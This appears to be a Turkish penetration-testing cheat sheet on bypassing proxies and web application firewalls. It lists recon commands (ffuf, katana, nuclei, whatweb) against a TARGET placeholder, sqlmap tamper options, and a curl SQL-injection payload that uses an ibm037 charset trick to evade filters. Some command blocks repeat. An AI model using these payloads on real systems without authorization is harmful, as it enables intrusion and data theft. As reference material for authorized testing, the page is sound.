Skip to content

Proxy / WAF Protections Bypass

web offensive

Proxy / WAF Protections Bypass web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

Metodoloji

Section titled “Metodoloji”

  1. Proxy / WAF Protections Bypass giriş noktalarını (param/header/cookie/upload/API) haritala.

  2. Hedefe özgü payload ve araçlarla hipotezi doğrula.

  3. Okuma/yazma/RCE/bypass etkisini somut kanıtla.

  4. Zincirleme senaryo ve kanıt paketini tamamla.

Keşif

Section titled “Keşif”

Hedef yığını, endpoint’leri ve auth sınırını netleştir.

Terminal window
curl -skI https://TARGET/
Terminal window
whatweb -a 3 https://TARGET
Terminal window
katana -u https://TARGET -jc -d 3 -o crawl.txt
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403
Terminal window
arjun -u https://TARGET/api/v1/item --get

WAF / proxy bypass

Section titled “WAF / proxy bypass”
Terminal window
sqlmap -u 'https://TARGET/?id=1' --tamper=space2comment,charencode --random-agent --batch
chunked, Transfer-Encoding, Unicode homoglyph, HTTP parameter pollution
Terminal window
curl -sk 'https://TARGET/?id=1%0bOR%0b1=1' -H 'Content-Type: application/x-www-form-urlencoded; charset=ibm037'

Operasyon notları

Section titled “Operasyon notları”

Proxy / WAF Protections Bypass sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

Section titled “Ek komutlar”
Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

Section titled “Ek keşif komutları”
Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

Section titled “Kanıt toplama”
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html